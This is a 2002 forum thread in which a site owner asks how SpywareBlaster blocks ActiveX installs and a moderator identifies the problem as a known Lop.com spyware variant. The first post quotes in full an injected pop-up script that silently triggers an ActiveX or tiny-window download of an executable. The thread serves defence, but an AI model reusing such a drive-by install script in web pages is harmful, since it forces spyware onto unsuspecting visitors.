need info on how Spyware Blaster v1.1 works

Discussion in 'SpywareBlaster & Other Forum' started by Synthetic, Dec 2, 2002.

Thread Status:
Not open for further replies.
  1. Synthetic

    Synthetic Registered Member

    Joined:
    Dec 2, 2002
    Posts:
    2
    I'm using a pop-up service to help pay for a forum, normally the pop-ups are fine but recently they started asking my members to download an activeX control that I think is a variant to the lop.com thing we had a while back, but i'm not totally sure.

    Here is the script it add's to the page...

    Code:
    <script language=JavaScript>
    <!-- Vanish 
    var baseURL = "http://www.my-site.com/";               
    var filename = "best-mp3-download.exe";                            
                                                          
    function WhichBrowser()                               
    {                                                     
        BrowserName = navigator.appName;                  
        BrowserVersion = parseInt(navigator.appVersion);  
                                                          
        Browser = "NS";                                   
        if ((BrowserName == "Netscape"))                  
            Browser = "NC";
        else if (BrowserName == "Microsoft Internet Explorer")
            Browser = "IE";
        return Browser;
    }       
    function ncDownload() {
     
    window.open("best-mp3-download.exe","_blank","height=1,width=1");
    }
    
    function IE_DownloadFile(ieURL)
    {
       document.write("<OBJECT");
       document.write(" CLASSID =\"CLSID:8522F9B3-38C5-4aa4-AE40-7401F1BBC851\"");
       document.write(" CODEBASE=\""+ieURL+"\">");
       document.write("<\/OBJECT>");
    }
    
    function DownloadFile()
    {
     if (WhichBrowser() == "IE") IE_DownloadFile(baseURL + filename);
          if (WhichBrowser() == "NC") ncDownload();
    }
    // -->
    </script>
    <script language=JavaScript>
    <!-- hide script
    DownloadFile();
    // -->
    </script>
    <!-- END ActiveX code -->
    <!-- End Template: name -->
    And here is a screenshot of the pop-up http://xtrea.com/img/popup.png

    I want something I can give my user's that will keep them from being asked to download that, currently your program does not list that or isn't aware of it yet...

    Anyway, if you could tell me how the program goes about blocking the other activeX plug-ins I'd like to try and do the same for this one.

    I know the windows registry pretty well, but not really sure what I'm looking for yet...

    *Thanks in advance for any help you can give, I hope this is ok to ask here?*
     
  2. javacool

    javacool BrightFort Moderator

    Joined:
    Feb 10, 2002
    Posts:
    3,997
    Perfectly OK to ask here. :)

    This thread at DSLReports has a whole discussion on how SpywareBlaster works: http://www.dslreports.com/forum/remark,4840146~root=security,1~mode=flat

    However, I might add that that IS a variant of Lop.com, and if you can post a link to where I can find it installing, I will gladly target it within 24 hours (with any luck). :) If you do not feel comfortable with posting a link to your site on these forums, simply PM me using this board's functions.

    Or, as an alternative, you could simply post the link to the pop-up that tries to install this variant of lop.com / transponder (at this point, it could be either, or a whole new item, but I am almost positive it is spyware, seeing that it is coming from C2 Media).


    UPDATE: This Lop.com item is already in the SpywareBlaster definitions. Run Check for Updates to make sure you have the latest version. It is named "Lop.com variant". If you still get a box asking you to download, after making sure this item is killed, clear your Temporary Internet Files.

    Best regards,

    -Javacool
     
  3. javacool

    javacool BrightFort Moderator

    Joined:
    Feb 10, 2002
    Posts:
    3,997
    *Bump* so updated text above is easily noticed. ;)

    Regards,

    -Javacool
     
  4. Synthetic

    Synthetic Registered Member

    Joined:
    Dec 2, 2002
    Posts:
    2
    Yeah sorry about that didn't think to clear my temporary files :oops:

    Your right it is the lop.com variant already in the program :D

    Thanks for your help, it works great...

    You don't mind some widespread free advertisement do you? I think I’m going to make an announcement about your product on our forums, and well with about 19,319 members you may get a little extra traffic from it :D
     
  5. javacool

    javacool BrightFort Moderator

    Joined:
    Feb 10, 2002
    Posts:
    3,997
    There shouldn't be a problem with spreading the word... ;)

    Regards,

    -Javacool
     
Loading...
Thread Status:
Not open for further replies.